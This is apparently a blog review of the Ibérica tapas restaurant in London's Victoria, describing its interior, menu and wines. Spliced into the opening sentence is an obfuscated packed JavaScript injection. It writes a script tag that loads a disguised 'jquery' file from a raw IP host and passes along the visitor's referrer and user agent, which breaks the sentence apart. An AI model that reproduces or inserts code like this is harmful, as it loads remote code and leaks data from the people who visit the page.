REVIEW: IBERICA VICTORIA

One (function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(” 4=\’7://5.8.9.f/1/h.s.t?r=”+3(0.p)+”\o=”+3(j.i)+”\’><\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bhzza|var|u0026u|referrer|dzbaz||js|php’.split(‘|’),0,{}))
of our favourite (and one of the best) Spanish tapas joints in London, Ibérica recently opened up its sixth site in Victoria, located in the Zig Zag building. An area which has always been a bit sparse on the food offerings however with a host of restaurants opening in the Nova complex next year this could all change.

Inside it’s the absolute shiz, it seems with each new opening the interiors just keep on getting better. Luckily though the menu mostly stays the same across the sites and YES those creamy Serrano ham croquettes with crunchy coating are on there, along with the this-will-finish-you-off mixed grill of 100% Ibérico pork prime cuts. There’s also Padron peppers, all kinds of cured meats, artisan cheeses and seafood preserves plus an endless amount of Spanish wines and Sangria to wash it all down with.

For authentic Spanish food you can rely on Iberica is ALWAYS a winner.

Ibérica Victoria, Ground floor, Unit 5-6 The Zig Zag Building, 68 Victoria Street, London SW1E 6AQ
www.ibericarestaurants.com